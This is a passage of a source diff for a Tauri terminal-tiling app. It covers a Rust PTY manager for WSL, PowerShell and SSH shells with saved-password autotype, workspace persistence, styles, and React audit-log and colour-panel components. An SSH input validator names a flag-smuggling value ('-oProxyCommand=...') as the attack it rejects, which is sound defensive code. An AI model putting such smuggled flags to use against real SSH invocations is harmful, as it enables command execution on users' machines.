/// {@link kill} is a no-op for that id.
///
/// Refcount (vs. plain flag) so concurrent transfers — or the rare
/// case where a transfer is retried before the previous one fully
/// releases — don't drop the suppression early.
transferring: Mutex<HashMap<PaneId, u32>>,
}
impl PtyManager {
@ -38,17 +126,37 @@ impl PtyManager {
Self {
panes: Mutex::new(HashMap::new()),
next_id: AtomicU64::new(1),
transferring: Mutex::new(HashMap::new()),
}
}
/// Spawn `wsl.exe` (optionally `-d <distro>`, optionally `--cd <cwd>`).
/// Returns the new pane id. A background thread starts reading the PTY
/// immediately and emits `pane://{id}/data` events.
pub fn spawn_wsl(
/// Bump the transferring refcount for a pane. While >0, {@link kill} is
/// a no-op so the source window's React unmount-cleanup can't tear
/// down the PTY mid-transfer.
pub fn mark_transferring(&self, id: PaneId) {
*self.transferring.lock().entry(id).or_insert(0) += 1;
}
/// Decrement the transferring refcount. When it reaches zero the entry
/// is removed and {@link kill} can act on this pane again.
pub fn claim(&self, id: PaneId) {
let mut map = self.transferring.lock();
if let Some(rc) = map.get_mut(&id) {
if *rc > 1 {
*rc -= 1;
} else {
map.remove(&id);
}
}
}
/// Spawn the shell described by `spec` into a fresh PTY. Returns the
/// new pane id; a background thread immediately starts reading and
/// emits `pane://{id}/data` events.
pub fn spawn(
&self,
app: AppHandle,
distro: Option<String>,
cwd: Option<String>,
spec: SpawnSpec,
cols: u16,
rows: u16,
) -> Result<PaneId> {
@ -62,23 +170,23 @@ impl PtyManager {
})
.context("openpty failed")?;
let mut cmd = CommandBuilder::new("wsl.exe");
if let Some(d) = distro.as_deref() {
cmd.arg("-d");
cmd.arg(d);
}
if let Some(c) = cwd.as_deref() {
cmd.arg("--cd");
cmd.arg(c);
}
// Force a login shell so .bashrc etc. run and PATH is populated.
// wsl.exe without an explicit command launches the default shell
// interactively, which is exactly what we want.
// Look up any saved password BEFORE building the command (cheap, no
// bytes-on-the-wire involved). If this is an SSH spawn with a host
// id and the user has stored a credential, the reader thread will
// autotype it when ssh prompts.
let saved_password = match &spec {
SpawnSpec::Ssh { host_id: Some(id), .. } => match creds::get(id) {
Ok(p) => p,
Err(e) => {
tracing::warn!("keyring lookup for {id} failed: {e}");
None
}
},
_ => None,
};
let child = pair
.slave
.spawn_command(cmd)
.context("failed to spawn wsl.exe; is WSL installed?")?;
let (cmd, spawn_err) = build_command(&spec)?;
let child = pair.slave.spawn_command(cmd).context(spawn_err)?;
// We need to keep the master alive (drop = close the PTY), but we
// also need the reader and writer split from it.
@ -86,10 +194,12 @@ impl PtyManager {
.master
.try_clone_reader()
.context("try_clone_reader failed")?;
let writer = pair
let writer_raw = pair
.master
.take_writer()
.context("take_writer failed")?;
let writer: SharedWriter = Arc::new(Mutex::new(writer_raw));
let ring: Arc<Mutex<PaneRing>> = Arc::new(Mutex::new(PaneRing::new()));
let id = self.next_id.fetch_add(1, Ordering::Relaxed);
@ -97,16 +207,23 @@ impl PtyManager {
id,
PaneHandle {
master: pair.master,
writer,
writer: writer.clone(),
child,
ring: ring.clone(),
},
);
// Reader thread: pump bytes -> base64 -> emit.
// Reader thread: pump bytes -> base64 -> emit. Also handles the
// password-prompt autotype state machine if `saved_password` is set,
// and pushes raw bytes into the per-pane scrollback ring for the
// MCP server to read.
let app_for_reader = app.clone();
let event_name = format!("pane://{id}/data");
let writer_for_reader = writer.clone();
let ring_for_reader = ring.clone();
std::thread::spawn(move || {
let mut buf = [0u8; 8192];
let mut pw_state = PasswordState::from(saved_password);
loop {
match reader.read(&mut buf) {
Ok(0) => {
@ -115,6 +232,13 @@ impl PtyManager {
break;
}
Ok(n) => {
// Try to autotype before emitting so we don't wait
// on the renderer; pw_state mutates here.
pw_state.observe(&buf[..n], &writer_for_reader, id);
// Mirror bytes into the scrollback ring (MCP source).
ring_for_reader.lock().push(&buf[..n]);
let chunk_b64 = B64.encode(&buf[..n]);
if let Err(e) =
app_for_reader.emit(&event_name, DataChunk { b64: chunk_b64 })
@ -135,12 +259,16 @@ impl PtyManager {
}
pub fn write(&self, id: PaneId, bytes: &[u8]) -> Result<()> {
let mut panes = self.panes.lock();
let pane = panes
.get_mut(&id)
.ok_or_else(|| anyhow!("no pane with id {id}"))?;
pane.writer.write_all(bytes).context("pty write failed")?;
pane.writer.flush().ok();
let writer = {
let panes = self.panes.lock();
let pane = panes
.get(&id)
.ok_or_else(|| anyhow!("no pane with id {id}"))?;
pane.writer.clone()
};
let mut w = writer.lock();
w.write_all(bytes).context("pty write failed")?;
w.flush().ok();
Ok(())
}
@ -161,6 +289,14 @@ impl PtyManager {
}
pub fn kill(&self, id: PaneId) -> Result<()> {
// If a transfer is in flight for this pane, suppress the kill so
// the source window's unmount-cleanup can't race the target
// window's mount-claim. The target's claim() will decrement the
// refcount; the next caller of kill() (if any) will actually kill.
if self.transferring.lock().contains_key(&id) {
tracing::debug!("pty kill suppressed during transfer for pane {id}");
return Ok(());
}
let mut panes = self.panes.lock();
if let Some(mut pane) = panes.remove(&id) {
// Best-effort: ask the child to die. Dropping `master` after this
@ -169,6 +305,13 @@ impl PtyManager {
}
Ok(())
}
/// Borrow the per-pane scrollback ring. Returns None if the pane has
/// been killed. The Arc lets callers hold the ring even after the
/// PaneHandle is dropped (reader thread will stop pushing into it).
pub fn ring(&self, id: PaneId) -> Option<Arc<Mutex<PaneRing>>> {
self.panes.lock().get(&id).map(|p| p.ring.clone())
}
}
#[derive(Serialize, Clone)]
@ -176,6 +319,179 @@ struct DataChunk {
b64: String,
}
// ---- command construction ---------------------------------------------------
/// Reject hostnames / usernames that would let an attacker smuggle in a
/// flag (`-oProxyCommand=...`) or a shell metacharacter via OpenSSH's token
/// expansion. We additionally pass `--` before the host on the command line,
/// but rejecting up front gives a clearer error and avoids ever handing the
/// bad value to ssh.exe.
pub fn validate_ssh_token(label: &str, value: &str) -> Result<()> {
if value.is_empty() {
return Err(anyhow!("ssh: {label} must not be empty"));
}
if value.starts_with('-') {
return Err(anyhow!("ssh: {label} must not start with '-' (got {value:?})"));
}
if value.chars().any(|c| c.is_control() || c == '\n' || c == '\r') {
return Err(anyhow!("ssh: {label} must not contain control characters"));
}
Ok(())
}
fn build_command(spec: &SpawnSpec) -> Result<(CommandBuilder, &'static str)> {
match spec {
SpawnSpec::Wsl { distro, cwd } => {
let mut c = CommandBuilder::new("wsl.exe");
if let Some(d) = distro.as_deref() {
c.arg("-d");
c.arg(d);
}
// Default new panes to the WSL user's home (~) rather than the
// Windows-side cwd we inherit from the launcher (typically
// C:\Users\<you>, which shows up as /mnt/c/Users/<you> inside WSL).
// wsl.exe resolves `~` against the distro's default shell.
let resolved_cwd = cwd.as_deref().unwrap_or("~");
c.arg("--cd");
c.arg(resolved_cwd);
Ok((c, "failed to spawn wsl.exe; is WSL installed?"))
}
SpawnSpec::Powershell => {
// cwd intentionally ignored — see commit history.
let mut c = CommandBuilder::new("powershell.exe");
c.arg("-NoLogo");
Ok((c, "failed to spawn powershell.exe"))
}
SpawnSpec::Ssh {
host,
user,
port,
identity_file,
jump_host,
extra_args,
// Read in `spawn()` to look up the saved password; not needed
// when building the command line.
host_id: _,
} => {
validate_ssh_token("host", host)?;
if let Some(u) = user.as_deref() {
validate_ssh_token("user", u)?;
}
if let Some(jh) = jump_host.as_deref() {
validate_ssh_token("jump host", jh)?;
}
let mut c = CommandBuilder::new("ssh.exe");
// ssh would auto-detect a tty here, but force it explicitly so
// remote-side TUI apps don't accidentally see a non-tty stdin.
c.arg("-t");
if let Some(u) = user.as_deref() {
c.arg("-l");
c.arg(u);
}
if let Some(p) = port {
c.arg("-p");
c.arg(p.to_string());
}
if let Some(idf) = identity_file.as_deref() {
c.arg("-i");
c.arg(idf);
}
if let Some(jh) = jump_host.as_deref() {
c.arg("-J");
c.arg(jh);
}
if let Some(extra) = extra_args.as_deref() {
for a in extra {
c.arg(a);
}
}
// `--` ends option parsing — a hostname starting with `-` can't
// smuggle in flags via OpenSSH's option parser.
c.arg("--");
c.arg(host);
// Some Windows OpenSSH builds otherwise advertise a TERM the
// remote side doesn't recognise; xterm.js speaks xterm-256color.
c.env("TERM", "xterm-256color");
Ok((c, "failed to spawn ssh.exe; is OpenSSH installed?"))
}
}
}
// ---- password-prompt autotype ----------------------------------------------
/// How long after spawn we keep watching for a password prompt. If nothing
/// matches in this window, we disarm and never autotype — so a remote shell
/// that prints "password" hours later can't get our credential injected.
const PASSWORD_AUTOTYPE_WINDOW: Duration = Duration::from_secs(30);
/// Sliding window of recent PTY output we scan for the prompt. Keeps the
/// scan bounded; matches don't need much context.
const PROMPT_SCAN_TAIL: usize = 256;
enum PasswordState {
Disabled,
Armed {
password: String,
deadline: Instant,
tail: Vec<u8>,
},
}
impl PasswordState {
fn from(password: Option<String>) -> Self {
match password {
None => Self::Disabled,
Some(p) => Self::Armed {
password: p,
deadline: Instant::now() + PASSWORD_AUTOTYPE_WINDOW,
tail: Vec::with_capacity(PROMPT_SCAN_TAIL * 2),
},
}
}
/// Called for each chunk of PTY output. Mutates state — once we write
/// the password (or time out) the state collapses to Disabled and this
/// becomes a no-op for the rest of the connection.
fn observe(&mut self, chunk: &[u8], writer: &SharedWriter, pane_id: PaneId) {
let (password, tail, deadline) = match self {
PasswordState::Disabled => return,
PasswordState::Armed { password, tail, deadline } => (password, tail, deadline),
};
if Instant::now() > *deadline {
*self = PasswordState::Disabled;
return;
}
tail.extend_from_slice(chunk);
if tail.len() > PROMPT_SCAN_TAIL {
let drop = tail.len() - PROMPT_SCAN_TAIL;
tail.drain(..drop);
}
if !looks_like_password_prompt(tail) {
return;
}
// Match — write the password + Enter, then collapse to Disabled.
let mut w = writer.lock();
if let Err(e) = w.write_all(password.as_bytes()) {
tracing::warn!("pane {pane_id}: password autotype write failed: {e}");
}
let _ = w.write_all(b"\n");
let _ = w.flush();
*self = PasswordState::Disabled;
}
}
fn looks_like_password_prompt(buf: &[u8]) -> bool {
// OpenSSH prompts: `<user>@<host>'s password:`, `Permission denied,
// please try again. password:`, `Enter passphrase for key '...':`.
// Lowercase the recent tail and substring-match — cheap and good enough.
let s = String::from_utf8_lossy(buf).to_ascii_lowercase();
s.contains("password:") || s.contains("passphrase")
}
// ---- distro enumeration -----------------------------------------------------
/// Run a process without flashing a console window on Windows.

View file

@ -0,0 +1,151 @@
//! Cross-window workspace state aggregator.
//!
//! Each window owns its own list of workspaces (tabs) in its React state.
//! When that list changes, the window calls `push_window_workspaces` to
//! ship a snapshot down here. This module merges every window's snapshot
//! into one envelope and persists it to `workspace.json` on a debounced
//! timer — same `{ version: 2, workspaces: [...] }` shape the frontend
//! reads at startup.
//!
//! The Rust side stays agnostic of the per-tree shape: workspaces are
//! stored as `serde_json::Value` so this module never needs to be updated
//! when LeafNode / SplitNode fields change.
//!
//! Lifetime of per-window entries:
//! - Created/updated on every `push_window_workspaces` call.
//! - The main window pushes initially after loading from disk; detached
//! windows push after takeing their pending-init payload.
//! - On detached-window close (handled in lib.rs), the entry is removed
//! so the next save doesn't resurrect tabs the user explicitly closed.
//! The main window's entry persists across the app lifetime.
use std::collections::HashMap;
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Context, Result};
use parking_lot::Mutex;
use serde_json::Value;
// `async_runtime::spawn` schedules onto Tauri's global Tokio runtime and works
// from ANY thread — including the synchronous `on_window_event` callback that
// reaches `schedule_save` via `forget()` on window close. Plain `tokio::spawn`
// panics there ("no reactor running") because that callback has no ambient
// runtime, and a main-thread panic aborts the whole process, taking every
// window + PTY with it. See the close-crash fix.
use tauri::async_runtime::{spawn, JoinHandle};
use tauri::{AppHandle, Manager};
use tokio::time::sleep;
const WORKSPACE_FILE: &str = "workspace.json";
const SAVE_DEBOUNCE: Duration = Duration::from_millis(500);
/// The label of the main (boot) window. Matches `tauri.conf.json`'s
/// `windows[0].label`. Used to decide whether a window-close should
/// retain or discard that window's tabs.
pub const MAIN_WINDOW_LABEL: &str = "main";
#[derive(Default)]
pub struct WindowsState {
per_window: Mutex<HashMap<String, Vec<Value>>>,
save_task: Mutex<Option<JoinHandle<()>>>,
}
impl WindowsState {
/// Replace this window's workspaces snapshot and schedule a debounced
/// save. Subsequent calls within the debounce window cancel the
/// previous save task — so a flurry of UI mutations only writes once.
pub fn push(
self: &Arc<Self>,
app: AppHandle,
label: String,
workspaces: Vec<Value>,
) {
self.per_window.lock().insert(label, workspaces);
self.schedule_save(app);
}
/// Drop a window's snapshot from the aggregate. Called on close of a
/// non-main window so its tabs don't reappear on next launch.
pub fn forget(self: &Arc<Self>, app: AppHandle, label: &str) {
let removed = self.per_window.lock().remove(label).is_some();
if removed {
self.schedule_save(app);
}
}
/// Build the on-disk envelope from ONLY the main window's workspaces.
///
/// Detached windows are ephemeral — their tabs are discarded on close
/// (Chrome-style), and only the main window's tabs are meant to survive
/// a restart. Persisting every window's workspaces (the original design)
/// let detached windows' tabs — and the `Pane N` adopt-targets from
/// drag-out — leak into the saved file; on the next launch the main
/// window loaded the whole blob and adopted them all, so they
/// accumulated without bound. Keying the persisted set to the main label
/// makes detached state structurally unable to pollute it.
fn build_envelope(&self) -> Value {
let map = self.per_window.lock();
let workspaces: Vec<Value> =
map.get(MAIN_WINDOW_LABEL).cloned().unwrap_or_default();
serde_json::json!({
"version": 2,
"workspaces": workspaces,
})
}
fn schedule_save(self: &Arc<Self>, app: AppHandle) {
let me = Arc::clone(self);
let mut slot = self.save_task.lock();
if let Some(prev) = slot.take() {
prev.abort();
}
let handle = spawn(async move {
sleep(SAVE_DEBOUNCE).await;
if let Err(e) = me.save_now(&app).await {
tracing::warn!("debounced workspace save failed: {e:#}");
}
});
*slot = Some(handle);
}
async fn save_now(&self, app: &AppHandle) -> Result<()> {
let envelope = self.build_envelope();
let json = serde_json::to_string(&envelope).context("serialize envelope")?;
let dir = app
.path()
.app_config_dir()
.map_err(|e| anyhow::anyhow!("app_config_dir: {e}"))?;
std::fs::create_dir_all(&dir).context("create_dir_all")?;
let path = dir.join(WORKSPACE_FILE);
let tmp = dir.join(format!("{WORKSPACE_FILE}.tmp"));
std::fs::write(&tmp, json.as_bytes()).context("write tmp")?;
std::fs::rename(&tmp, &path).context("rename tmp -> final")?;
Ok(())
}
}
// ---------------------------------------------------------------------------
// Pane-transfer pending-init registry
// ---------------------------------------------------------------------------
/// Payload the source window stashes in the backend before opening a new
/// window; the target window pulls it during App mount via
/// `take_pending_window_init`.
///
/// `leaf_json` and `workspace_name` are owned by the source — the backend
/// doesn't parse the leaf shape. `pane_id` is the existing PTY id the
/// target window's XtermPane should attach to (instead of spawning).
#[derive(Clone, serde::Serialize, serde::Deserialize)]
pub struct PendingInit {
#[serde(rename = "leafJson")]
pub leaf_json: String,
#[serde(rename = "paneId")]
pub pane_id: crate::pty::PaneId,
#[serde(rename = "workspaceName")]
pub workspace_name: String,
}
#[derive(Default)]
pub struct PendingInits {
pub by_label: Mutex<HashMap<String, PendingInit>>,
}

View file

@ -1,7 +1,7 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "tiletopia",
"version": "0.2.0",
"version": "0.4.1",
"identifier": "com.megaproxy.tiletopia",
"build": {
"beforeDevCommand": "pnpm dev",

View file

@ -16,18 +16,25 @@
font-size: 12px;
color: #aaa;
user-select: none;
/* Lock to a single row even when the window is narrow: buttons whose
text would otherwise wrap (e.g. "📡 all off") would grow the
titlebar, shrink .pane-wrap, and reflow every xterm. nowrap stops
text-wrap inside buttons, flex-shrink:0 stops children from being
squeezed, height locks the row height. Overflow is left visible
so dropdown menus below the chips aren't clipped by the bar. */
white-space: nowrap;
height: 34px;
box-sizing: border-box;
}
.titlebar > * {
flex-shrink: 0;
}
.titlebar .label {
font-weight: 600;
color: #ddd;
}
.distros, .presets {
display: flex;
gap: 4px;
align-items: center;
}
.distro-btn, .preset-btn, .palette-btn {
.titlebar-chip, .palette-btn {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
@ -38,15 +45,21 @@
padding: 2px 8px;
cursor: pointer;
}
.distro-btn:hover, .preset-btn:hover, .palette-btn:hover {
.titlebar-chip:hover, .palette-btn:hover {
background: #2a2a2a;
color: #ddd;
}
.distro-btn.active {
background: #1a3a5c;
.titlebar-chip.add-pane {
font-size: 14px;
line-height: 1;
padding: 2px 8px;
color: #cce6ff;
border-color: #2a5a8c;
}
.titlebar-chip.add-pane:hover {
background: #1a3a5c;
color: #fff;
}
.palette-btn.bcast-all.on {
background: #4a3010;
color: #f0c060;
@ -56,13 +69,10 @@
background: #2a2010;
color: #c98a1f;
}
.preset-btn {
min-width: 28px;
text-align: center;
}
.muted {
color: #666;
font-style: italic;
.palette-btn.mcp-btn.on {
background: #1a3a1a;
color: #80e080;
border-color: #2a6a2a;
}
.layout-info {
margin-left: auto;
@ -70,9 +80,20 @@
color: #777;
font-size: 11px;
}
.layout-info .idle-info {
color: #d96060;
}
.pane-wrap {
flex: 1 1 auto;
min-height: 0;
position: relative;
}
/* 2px padding on each leaf slot creates a 4px gap between adjacent panes
so per-pane borders (idle red, active blue, broadcasting orange) read as
distinct rectangles instead of merging into a continuous grid pattern. */
.leaf-slot {
padding: 2px;
box-sizing: border-box;
}

File diff suppressed because it is too large Load diff

101
src/components/AuditTab.tsx Normal file
View file

@ -0,0 +1,101 @@
import type { McpAuditEntry } from "../ipc";
function fmtTime(tsMs: number): string {
const d = new Date(tsMs);
const hh = String(d.getHours()).padStart(2, "0");
const mm = String(d.getMinutes()).padStart(2, "0");
const ss = String(d.getSeconds()).padStart(2, "0");
const ms = String(d.getMilliseconds()).padStart(3, "0");
return `${hh}:${mm}:${ss}.${ms}`;
}
interface ResultChipProps {
result: McpAuditEntry["result"];
}
function ResultChip({ result }: ResultChipProps) {
if (result.kind === "ok") {
return <span className="audit-chip audit-chip--ok">ok</span>;
}
if (result.kind === "denied") {
return (
<span className="audit-chip audit-chip--denied">
denied{result.hard && <em> hard</em>}
</span>
);
}
return <span className="audit-chip audit-chip--failed">failed</span>;
}
function rowClass(result: McpAuditEntry["result"]): string {
if (result.kind === "ok") return "audit-row audit-row--ok";
if (result.kind === "denied") return "audit-row audit-row--denied";
return "audit-row audit-row--failed";
}
interface AuditTabProps {
/** Audit ring, owned by App so it persists across panel open/close. */
entries: McpAuditEntry[];
onClear: () => void;
}
export default function AuditTab({ entries, onClear }: AuditTabProps) {
return (
<div className="audit-tab">
<div className="audit-toolbar">
<button
className="audit-clear"
onClick={onClear}
disabled={entries.length === 0}
>
Clear
</button>
</div>
{entries.length === 0 ? (
<p className="audit-empty">No MCP tool calls yet.</p>
) : (
<table className="audit-table">
<thead>
<tr>
<th>Time</th>
<th>Tool</th>
<th>Args</th>
<th>Result</th>
<th>ms</th>
</tr>
</thead>
<tbody>
{entries.map((e, i) => (
// Index is fine as key here — entries are prepended and never
// reordered; i=0 is always the newest.
<tr key={i} className={rowClass(e.result)}>
<td className="audit-cell--time">{fmtTime(e.tsMs)}</td>
<td className="audit-cell--tool">{e.tool}</td>
<td className="audit-cell--args" title={e.argsSummary}>
{e.argsSummary}
</td>
<td className="audit-cell--result">
<ResultChip result={e.result} />
{e.result.kind === "failed" && (
<span className="audit-errmsg" title={e.result.msg}>
{" "}
{e.result.msg}
</span>
)}
{e.result.kind === "denied" && e.result.reason && (
<span className="audit-errmsg" title={e.result.reason}>
{" "}
{e.result.reason}
</span>
)}
</td>
<td className="audit-cell--dur">{e.durationMs}</td>
</tr>
))}
</tbody>
</table>
)}
</div>
);
}

View file

@ -0,0 +1,203 @@
.color-panel {
position: fixed;
top: 8vh;
left: 50%;
transform: translateX(-50%);
width: min(520px, 92vw);
max-height: 84vh;
background: #161616;
color: #ccc;
border: 1px solid #2a2a2a;
border-radius: 8px;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
z-index: 100;
display: flex;
flex-direction: column;
overflow: hidden;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
}
.color-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 10px 14px;
border-bottom: 1px solid #2a2a2a;
}
.color-title { font-weight: 600; font-size: 13px; }
.color-close {
background: transparent; border: none; color: #888;
font-size: 18px; line-height: 1; padding: 2px 8px;
cursor: pointer; border-radius: 3px;
}
.color-close:hover { background: #2a2a2a; color: #ddd; }
/* ---- Mode toggle -------------------------------------------------------- */
.color-modes {
display: flex;
gap: 0;
border-bottom: 1px solid #2a2a2a;
padding: 0 10px;
}
.color-mode {
position: relative;
font: inherit;
font-size: 11px;
font-weight: 500;
letter-spacing: 0.04em;
background: transparent;
color: #777;
border: none;
border-bottom: 2px solid transparent;
padding: 7px 12px 5px;
cursor: pointer;
transition: color 0.1s, border-color 0.1s;
}
.color-mode:hover:not(:disabled) { color: #bbb; }
.color-mode:disabled { color: #555; cursor: default; }
.color-mode--active {
color: #cce6ff;
border-bottom-color: #4488cc;
}
/* ---- Body --------------------------------------------------------------- */
.color-body { padding: 14px 18px; overflow-y: auto; }
.color-blurb { margin: 0 0 14px; font-size: 11px; line-height: 1.5; color: #999; }
/* ---- Colour rows -------------------------------------------------------- */
.color-rows { display: flex; flex-direction: column; gap: 8px; }
.color-row {
display: flex;
align-items: center;
gap: 10px;
}
.color-row-label {
flex: 0 0 90px;
font-size: 12px;
color: #bbb;
}
.color-swatch {
flex: 0 0 auto;
width: 34px;
height: 26px;
padding: 0;
border: 1px solid #3a3a3a;
border-radius: 4px;
background: transparent;
cursor: pointer;
}
.color-swatch::-webkit-color-swatch-wrapper { padding: 2px; }
.color-swatch::-webkit-color-swatch { border: none; border-radius: 2px; }
.color-hex {
flex: 0 0 96px;
font-family: inherit;
font-size: 12px;
background: #0e0e0e;
color: #ddd;
border: 1px solid #333;
border-radius: 4px;
padding: 5px 8px;
}
.color-hex:focus { outline: none; border-color: #4488cc; }
.color-inherit-tag {
font-size: 10px;
color: #666;
font-style: italic;
}
.color-clear-field {
background: transparent;
border: 1px solid #333;
color: #888;
border-radius: 4px;
width: 24px;
height: 24px;
font-size: 13px;
line-height: 1;
cursor: pointer;
}
.color-clear-field:hover { background: #2a2a2a; color: #ddd; }
/* ---- Live preview ------------------------------------------------------- */
.color-preview {
margin: 16px 0;
border: 1px solid #2a2a2a;
border-radius: 6px;
padding: 10px 12px;
font-size: 12px;
line-height: 1.7;
overflow: hidden;
}
.color-preview-line { white-space: pre; }
.color-preview-prompt { font-weight: 600; opacity: 0.85; }
.color-preview-cursor {
display: inline-block;
width: 8px;
height: 14px;
margin-left: 2px;
vertical-align: text-bottom;
border-radius: 1px;
}
/* ---- Presets ------------------------------------------------------------ */
.color-presets { margin-top: 4px; }
.color-presets-label {
display: block;
font-size: 11px;
color: #888;
margin-bottom: 8px;
letter-spacing: 0.04em;
}
.color-presets-row {
display: flex;
flex-wrap: wrap;
gap: 8px;
}
.color-preset {
display: inline-flex;
align-items: center;
gap: 7px;
font: inherit;
font-size: 11px;
color: #bbb;
background: #1d1d1d;
border: 1px solid #333;
border-radius: 5px;
padding: 5px 9px 5px 5px;
cursor: pointer;
}
.color-preset:hover { border-color: #4488cc; color: #eee; }
.color-preset-swatch {
display: inline-flex;
align-items: center;
justify-content: center;
width: 24px;
height: 20px;
border: 1px solid;
border-radius: 3px;
font-size: 10px;
font-weight: 600;
}
/* ---- Actions ------------------------------------------------------------ */
.color-actions {
margin-top: 18px;
display: flex;
justify-content: flex-end;
}
.color-reset {
font: inherit;
font-size: 11px;
color: #cbb;
background: transparent;
border: 1px solid #443;
border-radius: 5px;
padding: 6px 12px;
cursor: pointer;
}
.color-reset:hover { background: #2a2420; color: #eed; border-color: #665; }

View file

@ -0,0 +1,258 @@
import { useEffect, useState } from "react";
import type { NodeId } from "../lib/layout/tree";
import {
type PaneColors,
COLOR_PRESETS,
resolvePaneColors,
} from "../lib/theme";
import "./ColorPanel.css";
interface ColorPanelProps {
/** App-wide default theme. */
globalColors: PaneColors;
/** Persist a new global theme (pass {} to reset to built-in defaults). */
onChangeGlobal: (colors: PaneColors) => void;
/** Active pane being targeted in per-pane mode (null only global mode
* is available). */
activeLeafId: NodeId | null;
/** Human label for the active pane, shown in the mode toggle. */
activeLeafLabel?: string;
/** The active pane's current override (undefined → fully inherits global). */
activeOverride: PaneColors | undefined;
/** Persist the active pane's override (undefined → clear it). */
onChangeActive: (colors: PaneColors | undefined) => void;
/** Which target the panel opens on. */
initialMode: "global" | "pane";
onClose: () => void;
}
type Mode = "global" | "pane";
const FIELDS: { key: keyof PaneColors; label: string }[] = [
{ key: "background", label: "Background" },
{ key: "foreground", label: "Foreground" },
{ key: "cursor", label: "Cursor" },
{ key: "selection", label: "Selection" },
];
const HEX_RE = /^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/;
/** Expand #rgb #rrggbb so `<input type="color">` (which only accepts the
* 6-digit form) always gets a valid value. */
function expandHex(hex: string): string {
if (/^#[0-9a-fA-F]{3}$/.test(hex)) {
return "#" + hex.slice(1).split("").map((c) => c + c).join("");
}
return hex;
}
export default function ColorPanel({
globalColors,
onChangeGlobal,
activeLeafId,
activeLeafLabel,
activeOverride,
onChangeActive,
initialMode,
onClose,
}: ColorPanelProps) {
// Fall back to global mode if asked for per-pane with no active pane.
const [mode, setMode] = useState<Mode>(
initialMode === "pane" && activeLeafId ? "pane" : "global",
);
const paneMode = mode === "pane" && !!activeLeafId;
useEffect(() => {
function onKey(e: KeyboardEvent) {
if (e.key === "Escape") {
e.preventDefault();
onClose();
}
}
window.addEventListener("keydown", onKey);
return () => window.removeEventListener("keydown", onKey);
}, [onClose]);
// The override layer we're editing: the leaf's override in pane mode, or
// the global theme itself in global mode. `resolved` fills every field so
// the swatches/preview always show a concrete colour.
const editLayer: PaneColors = paneMode ? (activeOverride ?? {}) : globalColors;
const resolved = paneMode
? resolvePaneColors(globalColors, activeOverride)
: resolvePaneColors(globalColors, undefined);
/** Whether a field is explicitly set on the layer we're editing (vs.
* inherited). Only meaningful in pane mode for the "inherited" hint. */
const isSet = (key: keyof PaneColors) => editLayer[key] !== undefined;
function setField(key: keyof PaneColors, value: string) {
const next: PaneColors = { ...editLayer, [key]: value };
if (paneMode) onChangeActive(next);
else onChangeGlobal(next);
}
/** Pane mode only: drop one field's override so it re-inherits the global. */
function clearField(key: keyof PaneColors) {
if (!paneMode) return;
const next: PaneColors = { ...editLayer };
delete next[key];
onChangeActive(next);
}
function applyPreset(colors: PaneColors) {
if (paneMode) onChangeActive({ ...colors });
else onChangeGlobal({ ...colors });
}
function resetAll() {
if (paneMode) onChangeActive(undefined);
else onChangeGlobal({});
}
return (
<>
<button className="backdrop" onClick={onClose} aria-label="Close" />
<div className="color-panel" role="dialog" aria-label="Terminal colours">
<header className="color-header">
<span className="color-title">Terminal colours</span>
<button className="color-close" onClick={onClose} aria-label="Close">
×
</button>
</header>
{/* Target toggle: edit the global default or just the active pane. */}
<div className="color-modes" role="tablist">
<button
className={`color-mode${mode === "global" ? " color-mode--active" : ""}`}
role="tab"
aria-selected={mode === "global"}
onClick={() => setMode("global")}
>
Global default
</button>
<button
className={`color-mode${paneMode ? " color-mode--active" : ""}`}
role="tab"
aria-selected={paneMode}
disabled={!activeLeafId}
onClick={() => setMode("pane")}
title={
activeLeafId
? "Override colours for the active pane only"
: "Select a pane first to override it"
}
>
{activeLeafId
? `This pane (${activeLeafLabel || "active"})`
: "This pane"}
</button>
</div>
<div className="color-body">
<p className="color-blurb">
{paneMode
? "These colours override the global theme for the active pane only. Unset rows inherit the global default."
: "These colours apply to every pane that doesn't have its own override. Saved across restarts and shared with new windows."}
</p>
{/* Editable colour rows */}
<div className="color-rows">
{FIELDS.map(({ key, label }) => {
const value = resolved[key]!;
const inherited = paneMode && !isSet(key);
return (
<div className="color-row" key={key}>
<span className="color-row-label">{label}</span>
<input
type="color"
className="color-swatch"
value={expandHex(value)}
onChange={(e) => setField(key, e.target.value)}
aria-label={label}
/>
<input
type="text"
className="color-hex"
value={value}
spellCheck={false}
onChange={(e) => {
const v = e.target.value.trim();
if (HEX_RE.test(v)) setField(key, v);
}}
/>
{paneMode &&
(inherited ? (
<span className="color-inherit-tag" title="Inheriting the global default">
inherited
</span>
) : (
<button
className="color-clear-field"
onClick={() => clearField(key)}
title="Revert this colour to the global default"
aria-label={`Revert ${label} to global`}
>
</button>
))}
</div>
);
})}
</div>
{/* Live preview */}
<div
className="color-preview"
style={{ background: resolved.background, color: resolved.foreground }}
aria-hidden="true"
>
<div className="color-preview-line">
<span className="color-preview-prompt">user@tiletopia</span>:~$ ls -la
</div>
<div className="color-preview-line">
<span style={{ background: resolved.selection }}>selected text</span>{" "}
normal output
<span
className="color-preview-cursor"
style={{ background: resolved.cursor }}
/>
</div>
</div>
{/* Presets */}
<div className="color-presets">
<span className="color-presets-label">Presets</span>
<div className="color-presets-row">
{COLOR_PRESETS.map((p) => (
<button
key={p.name}
className="color-preset"
onClick={() => applyPreset(p.colors)}
title={`Apply ${p.name}`}
>
<span
className="color-preset-swatch"
style={{
background: p.colors.background,
color: p.colors.foreground,
borderColor: p.colors.selection,
}}
>
Ab
</span>
{p.name}
</button>
))}
</div>
</div>
<div className="color-actions">
<button className="color-reset" onClick={resetAll}>
{paneMode ? "Reset pane to global" : "Reset to defaults"}
</button>
</div>
</div>
</div>
</>
);
}

View file

@ -0,0 +1,84 @@
import { Component, type ReactNode } from "react";
interface Props {
children: ReactNode;
/** Optional label for the error message ("Policy tab", "Audit log", etc.). */
label?: string;
}
interface State {
error: Error | null;
}
/** Last-resort guard against React render exceptions. Without this, a single
* bad render in any component blanks the entire app react unmounts the
* whole tree because the exception bubbles past the root. Wrap the App
* body or individual high-risk components (PolicyTab, AuditTab) with this. */
export default class ErrorBoundary extends Component<Props, State> {
state: State = { error: null };
static getDerivedStateFromError(error: Error): State {
return { error };
}
